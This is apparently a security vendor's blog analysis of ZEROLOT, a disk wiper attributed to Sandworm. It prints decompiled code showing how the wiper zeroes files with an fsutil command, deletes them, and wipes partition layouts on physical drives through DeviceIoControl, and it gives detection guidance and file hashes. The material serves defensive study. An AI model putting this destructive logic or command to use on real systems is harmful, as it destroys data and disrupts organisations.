ZEROLOT Analysis: Inside Sandworm’s Destructive New Wiper


Introduction
There’s a new wiper malware on the scene. ZEROLOT, so-called because of its distinctive data-zeroing techniques and structural approach to disk sabotage, has recently been targeting organizations in Ukraine.
On May 19, 2025, ESET released an detailing the latest observed threats and campaigns conducted by highly sophisticated and prolific threat actors. The report summarizes the activities of selected APT groups and their operations, which led us to the ZEROLOT malware.
Immersive’s Container 7 team has investigated, but there’s very little research about this malware in the wild.
This blog post is a technical analysis of the ZEROLOT malware, examining its internal mechanics and destructive tendencies. It documents how the team comprehensively reverse engineered its core components, execution flow, and destructive mechanisms.
This post also provides actionable detection guidance, including YARA signatures and Sigma rules for security operations teams.
By understanding the malware's distinctive behaviors and implementation patterns, organizations can better defend against this emerging threat.
This report is intended for security professionals, malware analysts, and incident responders tasked with threat detection, analysis, and response.
Want to get hands-on? , in which you’ll identify indicators of compromise by analyzing the malware in a SIEM.
If you’re not an Immersive customer yet, .
Sandworm
Sandworm Team (which also goes by various other aliases, including APT44, Telebots, Voodoo Bear, and Iron Viking) is a highly sophisticated and destructive advanced persistent threat (APT) group. Cybersecurity authorities and researchers widely attribute Sandworm to Unit 74455 of the Russian General Staff Main Intelligence Directorate (GRU).
Since its emergence, Sandworm has been implicated in a series of high-profile and technically-advanced cyber operations, targeting a diverse range of organizations globally.
The group's activities are characterized by a strategic focus on government, military, and critical infrastructure sectors, with a notable emphasis on operations aligning with Russian Federation geopolitical interests.
Sandworm is recognized for its proficiency in developing and deploying bespoke malware, including destructive wipers and tools designed to disrupt industrial control systems. Notable incidents attributed to this actor include the 2015 and 2016 attacks against Ukrainian power grids, the 2017 NotPetya global outbreak, and various campaigns targeting political processes and international organizations.
The consistent operational tempo and evolving tactics, techniques, and procedures (TTPs) that Sandworm employs underscore its status as a significant and persistent threat in the international cybersecurity landscape.
What are disk wipers?
Disk wipers represent a high-severity threat class designed specifically for destructive impact rather than financial gain. ZEROLOT in particular employs a multi-layered approach that combines file-level corruption with partition structure destruction, making recovery efforts exceptionally challenging for affected organizations.
Execution flow
In its past operations, Sandworm has deployed wipers against Ukrainian targets. Historically, the group often starts by abusing Group Policy Objects (GPOs), and has used utilities like TANKTRAP and the modified PowerShell utility to deliver and execute a variety of tooling across its operations via GPOs.
Sandworm has also made use of scheduled tasks to stage malware to run at certain times – the group is known for keeping a low profile and striking at the most opportune time. Once the time requirement is met, the team deploys the wiper malware and causes mass data destruction across the victim’s environments.

In terms of its tactics, techniques, and procedures (TTPs), Sandworm typically gains access via spearphishing (), exploiting public-facing vulnerabilities including zero-days (), and supply chain attacks (). Once in, the team uses PowerShell (), living-off-the-land binaries, and legitimate tooling to masquerade (), as well as custom malware () for execution and persistence.
Sandworm escalates privileges, harvests credentials, and moves laterally using stolen accounts (). Its command and control often leverages HTTP/S and the onion router (TOR). Sandworm is known for its destructive impact (), deploying wipers like NotPetya, CaddyWiper, and ICS-targeting malware like Industroyer to disrupt and damage critical infrastructure. Sandworm also employs obfuscation () and living-off-the-land techniques for defense evasion.
Immersive has a number of labs covering Sandworm and its TTPs in more detail. Check out the list of labs below for more information on this threat actor.
Operational technology (OT) boundary
The ZEROLOT wiper malware shows why proper IT/OT segmentation remains a critical security control for energy sector and critical infrastructure organizations. While ZEROLOT primarily targets IT infrastructure, its deployment by Sandworm represents a significant threat that could affect operational environments through direct and indirect vectors.
Effective IT/OT boundary controls provide essential protection by containing malicious code within compromised networks and preventing lateral movement into operational technology environments. This network segmentation is a crucial first layer of defense against sophisticated threat actors like Sandworm, known for its persistent targeting of industrial control systems (ICSs).
However, the security reality extends beyond network separation. As demonstrated in incidents like the Colonial Pipeline attack, even when OT systems remain technically uncompromised, the destruction of IT systems can significantly impact operations.
Critical IT functions that support operational processes, including billing systems, regulatory reporting tools, and supply chain management applications, when disabled, can force operational shutdowns despite functioning OT infrastructure.
ZEROLOT and Sandworm continue to highlight the importance of comprehensive protection strategies that address both environments. Organizations should implement:
- Unidirectional gateways or data diodes, where security requirements necessitate one-way communication
- Business continuity procedures that maintain operations even during a full IT system compromise or loss of trust in the IT infrastructure
- Regular validation of segmentation controls through penetration testing
- Defense-in-depth approaches that protect critical IT systems supporting operational functions
ZEROLOT and Sandworm's targeting patterns demonstrate that IT/OT segmentation, while necessary, must be complemented by holistic security approaches that recognize the interdependencies between business and operational technology environments.
Analysis
The Container 7 team at Immersive has analyzed the ZEROLOT malware in detail. Below is a detailed account of our findings.
MITRE ATT&CK techniques
Through static analysis, we've identified how the malware uses the following MITRE ATT&CK techniques:
- Time-Based Evasion (T1497): It has configurable delay mechanisms before it executes threads.
- File and Directory Discovery (T1083): It traverses file systems using threads.
- Data Destruction (T1485): It “zeroes” file data, wiping all data from a system.
- Native API (T1106): It uses DeviceIoControl to wipe the physical drive.
- Disk Structure Wipe (T1561.002): It destroys partition information via direct input/output control (IOCTL) operations.
Of particular interest is the malware's strategic use of legitimate Windows system tools and API calls, which may help it bypass traditional security controls. This living-off-the-land approach combined with low-level disk manipulation creates a particularly dangerous threat profile.
Initial details
Using a portable executable (PE) explorer tool like CFF Explorer, we quickly found that the ZEROLOT malware is a binary written in C++ and compiled for 32-bit architecture.

The compiler stamp for this particular malware is set to February 2025, which aligns with ESET’s early sightings discussed in its APT report.

The main function
The main function doesn’t hold any obfuscation or anti-analysis except a sleep at the beginning of the main function, indicating that this malware is the last artifact to be dropped at the end of an attack. Paired with the idea that it’s a wiper, this hypothesis makes sense.
The code goes straight into parsing command line arguments.
local_c = 300000; // Default: 5 minutes (300,000 ms)
DVar4 = 1500000; // Default: 25 minutes (1,500,000 ms)
local_8 = 0; // Will store argument count
local_10 = 1500000; // Copy of second timer value
hMem = CommandLineToArgvW(param_3,&local_8);
if (hMem != (LPWSTR *)0x0) {
if (0 < local_8) {
iVar1 = StrToIntW(*hMem);
local_c = iVar1 * 60000; // Convert first arg from minutes to milliseconds
}
if (1 < local_8) {
iVar1 = StrToIntW(hMem[1]);
DVar4 = iVar1 * 60000; // Convert second arg from minutes to milliseconds
}
LocalFree(hMem);
local_10 = DVar4;
if (DVar4 == 0) {
local_10 = 1500000; // Fallback if second value is 0
}
}
Sleep(local_c); // Sleep for the initial delay period
Let's break down what this code fragment does:
local_c = 300000; // 5 minutes in milliseconds (default)
DVar4 = 1500000; // 25 minutes in milliseconds (default)
local_8 = 0; // Will store argument count
local_10 = 1500000; // Copy of the second timer value
The code starts by setting up default values: a five-minute timer (local_c
) and a 25-minute timer (DVar4
).
hMem = CommandLineToArgvW(param_3, &local_8);
if (hMem != (LPWSTR *)0x0) {
Then it parses command line arguments using Windows' CommandLineToArgvW()
function, which returns an array of wide-character strings and updates, local_8
, with the number of arguments.
if (0 < local_8) {
iVar1 = StrToIntW(*hMem);
local_c = iVar1 * 60000; // Minutes to milliseconds
}
If at least one argument exists, the code converts it to an integer and uses it to set the first timer value (local_c
), multiplying by 60,000 to convert from minutes to milliseconds.
if (1 < local_8) {
iVar1 = StrToIntW(hMem[1]);
DVar4 = iVar1 * 60000; // Minutes to milliseconds
}
Similarly, if there's a second argument, it's used to set the second timer (DVar4
).
LocalFree(hMem);
local_10 = DVar4;
if (DVar4 == 0) {
local_10 = 1500000; // Fallback if second value is 0
}
}
The code properly frees the memory allocated by CommandLineToArgvW()
, copies DVar4
to local_10
, and ensures local_10
has a non-zero value by defaulting to 25 minutes if needed.
Sleep(local_c); // Sleep for the initial delay period
Finally, the program pauses execution for the duration specified by the first timer. This suggests the application is designed to wait for a specified period before performing its main function.
Further down inside this function, there’s a bit of functionality that indicates a wiper straight away.
Drive enumeration and thread creation
_memset(local_78, 0, 0x68); // Clear the thread handles array
nCount = 0; // Initialize thread count
DVar4 = GetLogicalDriveStringsW(0x3ff, local_878); // Get all drive letters
pcVar5 = lstrlenW_exref;
if (DVar4 != 0) {
param_3 = (LPCWSTR)0x0;
iVar1 = lstrlenW(local_878);
if (iVar1 != 0) {
lpString1 = local_878;
do {
iVar1 = lstrcmpW(lpString1, L"C:\\");
if (iVar1 != 0) { // Skip the C: drive
iVar1 = (*pcVar5)(lpString1);
pWVar2 = (LPWSTR)LocalAlloc(0x40, iVar1 * 2 + 2); // Allocate memory for drive path
if (pWVar2 != (LPWSTR)0x0) {
lstrcpyW(pWVar2, lpString1); // Copy drive path
}
pvVar3 = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_004017f0, pWVar2, 0, (LPDWORD)0x0);
pcVar5 = lstrlenW_exref;
if (pvVar3 != (HANDLE)0x0) {
local_78[nCount] = pvVar3; // Store thread handle
nCount = nCount + 1;
}
}
iVar1 = (*pcVar5)(lpString1);
param_3 = (LPCWSTR)((int)param_3 + iVar1 + 1);
lpString1 = local_878 + (int)param_3; // Move to next drive in the list
iVar1 = (*pcVar5)(lpString1);
} while (iVar1 != 0);
}
}
This section:
- Gets a list of all drive letters using
GetLogicalDriveStringsW()
- Iterates through each drive, skipping the
C:
drive - For each non-C: drive, creates a thread running the function
FUN_004017f0
with the drive path as a parameter - Stores the thread handles in the
local_78
array
Processing the C:\Users directory
iVar1 = (*pcVar5)(L"C:\\Users");
pWVar2 = (LPWSTR)LocalAlloc(0x40, iVar1 * 2 + 2); // Allocate memory for "C:\Users" string
if (pWVar2 != (LPWSTR)0x0) {
lstrcpyW(pWVar2, L"C:\\Users"); // Copy the string
}
pvVar3 = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_004017f0, pWVar2, 0, (LPDWORD)0x0);
if (pvVar3 != (HANDLE)0x0) {
local_78[nCount] = pvVar3; // Store thread handle
nCount = nCount + 1;
}
While the code generally skips the C:
drive, it specifically creates a thread to process the C:\Users
directory using the same function, FUN_004017f0
.
Waiting for file system threads
WaitForMultipleObjects(nCount, local_78, 1, local_10);
// Wait for all threads with timeout
This waits for all the file system scanning threads to complete, with a timeout of local_10
(the second timer value from the command line). The 1 parameter means it waits for ALL threads to complete.
Second stage processing
_memset(local_78, 0, 0x68); // Clear thread handles array
lpParameter = (LPVOID)0x19; // Start with value 25 (0x19)
DVar4 = 0; // Reset thread counter
do {
pvVar3 = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_00401230, lpParameter, 0, (LPDWORD)0x0);
if (pvVar3 != (HANDLE)0x0) {
local_78[DVar4] = pvVar3; // Store thread handle
DVar4 = DVar4 + 1;
}
lpParameter = (LPVOID)((int)lpParameter + -1); // Decrement parameter
} while (-1 < (int)lpParameter); // Loop until parameter is -1
After the file system scanning is complete:
- The function creates 26 threads (from parameter 25 down to 0)
- Each thread runs the function
FUN_00401230
with a different numeric parameter - The function stores the thread handles in the
local_78
array again
Final wait and return
WaitForMultipleObjects(DVar4, local_78, 1, 0xffffffff); // Wait indefinitely for all threads
return 0;
}
The function waits indefinitely for all the second-stage threads to complete (a timeout value of 0xfffffff
means wait forever), then returns 0
.
Functionality
The main function calls three threads that use two functions, FUN_004017f0 and FUN_00401230
. These hold all the functionality for the malware.
The function FUN_004017f0
processes each drive or directory and eventually wipes each file selected by the malware. Let's break down what it does:
undefined4 FUN_004017f0(HLOCAL param_1)
{
WCHAR local_28 [18];
if (param_1 == (HLOCAL)0x0) {
return 1; // Exit if no parameter is provided
}
builtin_memcpy(local_28, L"*.dll;*.exe;*.sys", 0x24); // Define file extensions to search for
FUN_00401690((int)param_1, local_28); // Process the directory with these file extensions
LocalFree(param_1); // Free the allocated memory for the path
return 0;
}
This function:
- Takes a path (allocated with
LocalAlloc
in the main function) - Creates filter strings ("
.dll;.exe;*.sys
") targeting executable files - Calls
FUN_00401690
to process the directory with this filter - Frees the memory and returns
FUN_00401690 analysis
This function handles the recursive directory traversal and file matching.
void __fastcall FUN_00401690(int param_1, LPCWSTR param_2)
{
LPWSTR pszPath;
HANDLE hFindFile;
int iVar1;
LPWSTR lpString1;
HANDLE pvVar2;
BOOL BVar3;
undefined4 extraout_ECX;
undefined4 extraout_ECX_00;
undefined4 uVar4;
undefined4 extraout_ECX_01;
_WIN32_FIND_DATAW _Stack_258;
pszPath = (LPWSTR)LocalAlloc(0x40, 0x800); // Allocate buffer for path
if (pszPath != (LPWSTR)0x0) {
FUN_00401380(pszPath, 0x400, extraout_ECX, param_1); // Copy base path
PathAppendW(pszPath, L"*"); // Add wildcard for directory search
hFindFile = FindFirstFileW(pszPath, &_Stack_258); // Start file enumeration
uVar4 = extraout_ECX_00;
if (hFindFile != (HANDLE)0xffffffff) {
do {
FUN_00401380(pszPath, 0x400, uVar4, param_1); // Reset path to base directory
PathAppendW(pszPath, _Stack_258.cFileName); // Add current file/dir name
// If it's a file (not a directory)
if(((byte)_Stack_258.dwFileAttributes & 0x10) == 0) {
while (0x10 < DAT_00419290) {
Sleep(1000); // If too many threads are running, wait
}
OutputDebugStringW(pszPath);
BVar3 = PathMatchSpecW(pszPath, param_2);
if (BVar3 == 0) { // If file doesn't match the extension filter (.dll, .exe, .sys)
iVar1 = lstrlenW(pszPath);
lpString1 = (LPWSTR)LocalAlloc(0x40, iVar1 * 2 + 2);
if (lpString1 != (LPWSTR)0x0) {
lstrcpyW(lpString1, pszPath); // Copy path
}
// Create a thread to process the file
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_004013d0, lpString1, 0, (LPDWORD)0x0);
if (pvVar2 != (HANDLE)0x0) {
LOCK();
DAT_00419290 = DAT_00419290 + 1; // Thread counter
UNLOCK();
}
}
}
// If it's a directory (and not "." or "..")
else if (_Stack_258.cFileName[0] != L'.') {
FUN_00401690((int)pszPath, param_2); // Recursively process subdirectory
}
BVar3 = FindNextFileW(hFindFile, &_Stack_258); // Move to next file
uVar4 = extraout_ECX_01;
} while (BVar3 != 0); // Continue until no more files
FindClose(hFindFile);
}
LocalFree(pszPath);
}
return;
}
This function:
- Allocates a buffer for path manipulation
- Searches through all files and directories at the given path
- For each file (not matching the filter of
*.dll/*.exe/*.sys
), creates a thread to process it withFUN_004013d0
- Recurses into each directory
- Limits the number of concurrent threads to 16 (0x10) by sleeping if too many are active
FUN_004013d0 analysis
This is the main destructive function of the malware for files. It declares the command c:\windows\system32\fsutil.exe file setzerodataoffset=0 length=1048576
on the stack and parses the found files as an argument to the end of it. It then creates the process to use fsutil.exe to wipe the files on the system by overwriting them with 0s.
undefined4 FUN_004013d0(LPCWSTR param_1)
{
HANDLE hProcess;
LPCWSTR lpOutputString;
BOOL BVar1;
DWORD DVar2;
undefined4 extraout_ECX;
undefined1 local_8f8 [2048];
_STARTUPINFOW local_f8;
_PROCESS_INFORMATION local_b0;
undefined4 local_a0;
undefined4 local_9c;
// ... more local variables ...
if (param_1 == (LPCWSTR)0x0) {
return 1; // Exit if no parameter
}
_memset(local_8f8, 0, 0x800); // Clear buffer
// A series of Unicode characters - which builds a command string
local_a0 = 0x3a0063; // "c:"
local_9c = 0x77005c; // "\w"
local_98 = 0x6e0069; // "in"
local_94 = 0x6f0064; // "do"
local_90 = 0x730077; // "ws"
// ... continues to build the command string ...
// When assembled, the command is:
// "c:\windows\system32\fsutil.exe file setzerodataoffset=0 length=1048576 "
lpOutputString = (LPCWSTR)LocalAlloc(0x40, 0x800); // Allocate command string buffer
if (lpOutputString != (LPCWSTR)0x0) {
// Build the command string
FUN_00401380(lpOutputString, 0x400, extraout_ECX, (int)&local_a0);
FUN_00401320(lpOutputString, 0x4167bc);
FUN_00401320(lpOutputString, (int)param_1); // param_1 contains the file path of the file to be wiped and deleted
FUN_00401320(lpOutputString, 0x4167bc);
OutputDebugStringW(lpOutputString);
// Set up process startup info
local_f8.cb = 0x44;
// ... initialize process startup structure ...
// Create process to execute the fsutil command
BVar1 = CreateProcessW(
(LPCWSTR)0x0,
lpOutputString, // Command line for fsutil
(LPSECURITY_ATTRIBUTES)0x0,
(LPSECURITY_ATTRIBUTES)0x0,
0,
0,
(LPVOID)0x0,
(LPCWSTR)0x0,
&local_f8,
&local_b0
);
if (BVar1 != 0) {
CloseHandle(local_b0.hThread);
hProcess = local_b0.hProcess;
if (local_b0.hProcess != (HANDLE)0x0) {
// Wait for process to complete (with 30 second timeout)
DVar2 = WaitForSingleObject(local_b0.hProcess, 30000);
if (DVar2 != 0) { // If timeout
TerminateProcess(hProcess, 1); // Force terminate
}
}
}
FUN_00401320(local_8f8, 0x4167bc);
FUN_00401320(local_8f8, (int)param_1);
FUN_00401320(local_8f8, 0x4167bc);
OutputDebugStringW(param_1);
DeleteFileW(param_1); // Delete the file
LocalFree(lpOutputString);
}
// Decrement thread counter
LOCK();
DAT_00419290 = DAT_00419290 + -1;
UNLOCK();
LocalFree(param_1);
return 0;
}
This function:
- Creates a command using
fsutil.exe
with the filesetzerodataoffset==0 length=1048576
command (this is a destructive operation that zeros out file data) - Executes the command on the target file using
CreateProcess
- Waits for completion or terminates after 30 seconds
- Deletes the file
- Decrements the thread counter
Physical drive wiping functionality
Once all the files have been wiped and deleted, the malware attempts to destroy the partition information on all physical drives in the system (from PhysicalDrive0 to PhysicalDrive25), making recovery even more difficult.
The malware uses DeviceIoControl
with the IOCTL_DISK_DELETE_DRIVE_LAYOUT
(0x7c100
) control code to remove the boot signature from the Master Boot Record. This effectively destroys the disk's structural information without actually erasing the data itself.
When this happens:
- The boot signature that tells the basic input/output system (BIOS) that it’s a bootable disk disappears
- The partition table that defines where file systems begin and end is wiped out
- The operating system loses all context about how the disk is organized
Let’s break it down:
bool FUN_00401230(DWORD param_1)
{
int iVar1;
HANDLE hDevice;
BOOL BVar2;
wchar_t local_82c [1024];
wchar_t local_2c [20];
_memset(local_82c, 0, 0x800);
builtin_wcsncpy(local_2c, L"\\\\.\\PhysicalDrive%d", 0x14); // Format string for physical drive path
// Format the physical drive path with the drive number passed as param_1
iVar1 = FUN_00401010(local_82c, 0x400, (undefined4 *)0x0, (uint *)0x0, 0x400, local_2c);
if (-1 < iVar1) {
BVar2 = 0;
// Open the physical drive with full control access
hDevice = CreateFileW(
local_82c, // Path to physical drive (e.g., \\.\PhysicalDrive0)
0xc0000000,
3,
(LPSECURITY_ATTRIBUTES)0x0,
3,
0,
(HANDLE)0x0);
if (hDevice != (HANDLE)0xffffffff) { // If drive was opened successfully
param_1 = 0;
// Use the IOCTL_DISK_DELETE_DRIVE_LAYOUT (0x7c100) command
BVar2 = DeviceIoControl(
hDevice,
0x7c100, // IOCTL_DISK_DELETE_DRIVE_LAYOUT
(LPVOID)0x0,
0, size
(LPVOID)0x0,
0,
¶m_1,
(LPOVERLAPPED)0x0);
CloseHandle(hDevice);
}
return BVar2 != 0;
}
return false;
}
Detection
Once we’d analyzed the malware, we created a basic YARA rule based on some structures of stack strings.
After performing a retro hunt using this basic YARA rule, we discovered two samples that were both reported to VirusTotal from Ukraine, confirming ESET’s report about ZEROLOT’s current targets.


To help detect this threat, take a look at the updated and on GitHub.
Observations
Time consuming
The malware uses fsutil
for wiping files, which proves a surprisingly inefficient attack method. While it’s effective at corrupting files, it’s remarkably time consuming. fsutil
initializes each specified region with zeros using individual input/output (I/O) requests rather than optimized sequential writes.
The malware's implementation compounds this inefficiency by launching a separate process for each file, incurring significant overhead from process creation, interprocess communication, and context switching.
The 30-second timeout per file operation imposes a hard limit on how quickly the attack can progress through large file collections.
This design choice suggests the attackers prioritized reliability and the use of legitimate system tools (to potentially evade security software) over speed. A more optimized approach using direct file I/O could have accomplished the same destructive outcome significantly faster, especially when targeting large numbers of files across multiple drives.
Detection engineering
The analyzed malware contains numerous easily-detectable stack strings that make it highly susceptible to signature-based detection.
By declaring strings directly on the stack through character-by-character assignment (as seen with the fsutil.exe
command construction in FUN_004013d0
), the malware creates distinctive patterns that security tools can readily identify.
Unlike obfuscated or encrypted strings that are decoded at runtime, these stack-constructed strings exist in plaintext within the binary, offering unmistakable signatures for antivirus engines.
The specific pattern of wide character constants like local_a0 = 0x3a0063; local_9c = 0x77005c;
(representing C:\w
) creates a unique and consistent byte sequence in the compiled code.
Finally, the malware's use of Windows API functions with specific parameters (such as DeviceIoControl
with the 0x7c100
control code) provides another reliable signature point.
These characteristics make the malware trivial to detect through static analysis techniques, suggesting it was either developed without consideration for evasion or deliberately designed to get straight to the destructive functions.
Conclusion
The ZEROLOT wiper represents a particularly dangerous class of malware designed with one purpose: to systematically destroy data and system operability.
Through meticulous reverse engineering, the Container 7 team at Immersive has uncovered its multi-stage attack strategy:
- An initial delay period, probably to evade detection
- Methodical enumeration of all drives and user directories
- Targeted corruption of user files using legitimate system utilities (
fsutil
) - Complete destruction of disk partitioning information via low-level IOCTL calls
What makes this malware especially insidious is its use of Microsoft's own tools against the system.
By leveraging fsutil.exe
with the setzerodataoffset
parameter, it ensures files appear intact but are rendered useless. Following this, the malware also wipes the Master Boot Record, making recovery exceptionally difficult, even for intact files.
However, the malware's distinctive code patterns – particularly its stack string construction technique and use of the IOCTL_DISK_DELETE_DRIVE_LAYOUT
control code – provide excellent detection opportunities.
The YARA and Sigma rules shared in this analysis should help security teams identify and block this threat before it can execute its destructive payload.
For system administrators and security professionals, this analysis underscores the importance of:
- Monitoring access to powerful system utilities like
fsutil.exe
- Monitoring for suspicious access to physical drives via the
\\.\PhysicalDrive
interface - Implementing comprehensive backup strategies (including offline storage)
- Deploying robust endpoint protection with behavioral detection capabilities
As destructive attacks continue to evolve, understanding the inner workings of wipers like ZEROLOT remains crucial to developing more effective defenses.
The techniques demonstrated here show that while such malware can be devastatingly effective, its distinctive behaviors also make it detectable with the right monitoring tools in place.
Try it now!
Want to get hands-on? , in which you’ll identify indicators of compromise by analyzing the malware in a SIEM.
If you’re not an Immersive customer yet, .
Indicators of compromise
These are the hashes we analyzed as part of a few of Sandworm’s campaigns:
Name: zealot_7777.doc
Ჹ:e77afc29d52cbf4bedb8bc92017fb3ddd051d8acc9b106b627e10b8285ab7389
File type: Win32 EXE
Name: C2.exe
Ჹ:bf50442dedeb6a715de82177eb7e24daed3f3e45d6dcd186bb360675d07ac047
File type: Win32 EXE
Trusted by top
companies worldwide
Customer
Insights
Ready to Get Started?
Get a Live Demo.
Simply complete the form to schedule time with an expert that works best for your calendar.